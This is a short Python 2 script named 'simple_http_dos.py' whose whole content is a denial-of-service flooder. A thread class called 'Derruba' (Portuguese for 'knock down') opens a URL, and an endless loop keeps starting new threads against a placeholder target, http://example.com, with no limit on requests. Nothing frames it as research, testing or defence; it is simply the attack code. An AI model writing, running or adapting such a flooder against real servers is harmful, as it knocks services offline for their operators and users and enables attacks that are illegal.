simple_http_dos.py

import urllib
from threading import Thread

class Derruba(Thread):

	def __init__(self, url):
		Thread.__init__(self)
		self.url = url

	def run(self):
			print "Abrindo " + self.url
			urllib.urlopen(self.url)

while 1:
	try:
		d = Derruba("http://example.com")
		d.start()
	except Exception, ex:
		raise ex